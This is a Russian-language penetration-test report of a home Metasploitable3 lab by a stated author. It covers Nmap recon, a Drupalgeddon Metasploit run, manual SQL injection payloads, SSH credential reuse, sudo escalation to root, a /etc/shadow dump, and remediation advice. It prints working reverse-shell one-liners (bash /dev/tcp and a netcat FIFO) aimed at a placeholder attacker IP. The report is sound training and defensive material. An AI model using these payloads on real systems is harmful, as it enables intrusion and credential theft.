
Отчёт о пентесте домашней лаборатории Metasploitable3, охватывающий разведку с помощью Nmap, RCE через Drupalgeddon, SQL-инъекцию, повторное использование учётных данных SSH, повышение привилегий через sudo и обратные оболочки.
Автор: Arlen Fortunato
Дата: Сентябрь 2026
Среда: Parrot OS (атакующий) → Metasploitable3 Ubuntu 14.04 (цель)
Область: Полное тестирование сети на проникновение — разведка, эксплуатация, повышение привилегий, постэксплуатация
Тип: Домашняя лаборатория / Практика Capture The Flag
⚠️ Все учётные данные ниже отредактированы. Это было легальное, изолированное упражнение в домашней лаборатории.
| Инструмент | Роль |
|---|---|
| Nmap | Сканирование портов, определение служб/версий, фингерпринтинг ОС |
| Metasploit (msfconsole) | Эксплуатация (CVE-2014-3704), управление сессиями |
| msfvenom | Генерация полезных нагрузок (bash/netcat reverse shells) |
| nc (netcat) | Слушатель обратных оболочек |
| curl / sed | Ручное создание SQLi + форматирование HTML-вывода |
| ssh / scp | Удалённый доступ, проверка учётных данных |
| openssl s_client | Проверка служб TLS/SSL |
| gobuster | Брутфорс директорий (веб-разведка) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
ОС: Linux Ubuntu 14.04, ядро 3.13.0-24-generic x86_64
Уязвимость: UnrealIRCd 3.2.8.1 исторически распространялся с троянизированным бинарником, который выполняет произвольные команды, когда неаутентифицированный клиент отправляет триггерную строку до регистрации — RCE от имени пользователя IRC-демона.
Попытка эксплуатации: модуль Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor с полезными нагрузками cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. Автопроверка модуля сообщила об уязвимости службы; ни одна сессия не была получена ни с одной полезной нагрузкой.
Выполненные действия по устранению неполадок:
nc -vz)openssl s_client)nc вернул ошибку протокола IRC 451 — команда была разобрана как IRC-команда, но не выполненаВывод: баннер версии указывает на уязвимую сборку, но бэкдор в данном экземпляре отсутствует (чистый/перекомпилированный бинарник). Классифицировано как неэксплуатируемое — ложное срабатывание, с доказательствами.
Уязвимость: Drupal 7.x до 7.32 содержит критическую SQL-инъекцию в слое абстракции базы данных, позволяющую неаутентифицированное удалённое выполнение кода.
Подтверждение версии: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
Эксплуатация:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
Результат:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
Разведка после эксплуатации:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16 учётных записей пользователейУязвимость: форма входа payroll_app.php, SQL-инъекция в поле пароля. Автоматизация не использовалась — создано вручную через curl.
Шаг 1 — Обход аутентификации:
' or 1=1#
' закрывает SQL-строку, or 1=1 делает условие истинным, # закомментирует оставшуюся кавычку.
Шаг 2 — Подсчёт столбцов + сопоставление вывода:
' UNION SELECT null, null, null, null# -- нет ошибки = 4 столбца
' UNION SELECT 1, 2, 3, 4# -- маркеры: 1=Username, 2=First, 3=Last, 4=Salary
Шаг 3 — Перечисление information_schema:
| Вопрос | Ответ |
|---|---|
| Версия БД / пользователь | MySQL 5.5.62, root@localhost |
Шаг 4 — Дамп (пароли отредактированы):
' UNION SELECT username, password, salary, null FROM users#
Путь 1 — Учётная запись по умолчанию: стандартная пара учётных данных vagrant аутентифицировалась по SSH → пользователь в группе sudo с (ALL : ALL) NOPASSWD: ALL.
Путь 2 — Повторное использование учётных данных: учётные данные, полученные из дампа SQLi, аутентифицировались напрямую по SSH как другой лабораторный пользователь (luke_skywalker, группа sudo, (ALL : ALL) ALL).
Значимость: демонстрирует повторное использование учётных данных между службами — учётные данные приложения сопоставлены с системной учётной записью.
vagrant → sudo -l показывает NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).Локальный эксплойт не потребовался — обе учётные записи имеют чрезмерно разрешительные права sudo.
sudo cat /etc/shadow
Извлечено 16 хешей md5crypt ($1$) — полный сбор учётных данных после повышения привилегий.
Полезная нагрузка 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Перехвачено на nc -lnvp 4444 → интерактивная оболочка.
Полезная нагрузка 2 — netcat (именованный канал):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
Перехвачено на nc -lnvp 4445 → интерактивная оболочка.
Механизм: именованный канал (FIFO) соединяет stdin/stdout netcat с /bin/sh, образуя двунаправленный туннель через один сокет; FIFO удаляется после завершения.
Все тестирования выполнялись исключительно в изолированной домашней лаборатории с использованием намеренно уязвимого программного обеспечения (Rapid7 Metasploitable3). Никакие производственные системы или несанкционированные цели не затрагивались. Этот отчёт предназначен только для образовательных целей и личного развития навыков.
| Порт | Состояние | Служба | Версия |
|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL (unauthorized) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
| # | Уязвимость | CVE / Тип | Порт | Критичность | Результат |
|---|
| 1 | Фингерпринт версии UnrealIRCd — проверка бэкдора | CVE-2010-2075 | 6697 | ⚠️ Ложное срабатывание | Автопроверка модуля пройдена, ручная проверка не удалась — бэкдор отсутствует в сборке |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Критическая | Оболочка Meterpreter от имени www-data |
| 3 | Приложение расчёта зарплат — UNION SQLi (вручную) | Ручная инъекция | 80 | 🔴 Критическая | Полный дамп БД (15 пользователей, пароли в открытом виде — отредактированы) |
| 4 | SSH — учётные данные по умолчанию + повторное использование | По умолчанию / повторное использование | 22 | 🔴 Критическая | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | Повышение привилегий (два пути) | Неправильно настроенный sudo | Н/Д | 🔴 Критическая | root через обе учётные записи |
| 6 | Дамп shadow | Постэксплуатация | Н/Д | 🔴 Критическая | Извлечено 16 хешей md5crypt |
| 7 | Обратные оболочки (bash + netcat) | msfvenom / ручное создание | 4444/4445 | 🟠 Высокая | Интерактивные оболочки перехвачены на слушателе атакующего |
| Базы данных | information_schema, drupal, mysql, payroll, performance_schema |
Таблицы в payroll | users |
Столбцы в users | username, first_name, last_name, password, salary |
| Имя пользователя | Пароль | Зарплата |
|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ ещё 9 учётных записей) | [REDACTED] | — |
| Находка | Рекомендация |
|---|
| Фингерпринт версии UnrealIRCd | Проверить целостность источника бинарника (контрольные суммы); обновить или удалить |
| Drupal 7.5 | Обновить до последней стабильной версии; применить SA-CORE-2014-005 |
| SQLi в приложении расчёта зарплат | Параметризованные запросы / подготовленные выражения; проверка входных данных |
| Учётные данные SSH по умолчанию | Сменить/удалить учётные записи по умолчанию; включить аутентификацию по ключам |
| Избыточные права sudo | Применить принцип наименьших привилегий; удалить массовые разрешения NOPASSWD |
| Повторное использование учётных данных | Обеспечить уникальные пароли для каждой службы; политика паролей |
| Слабое хеширование паролей | Мигрировать с md5crypt → bcrypt / Argon2id |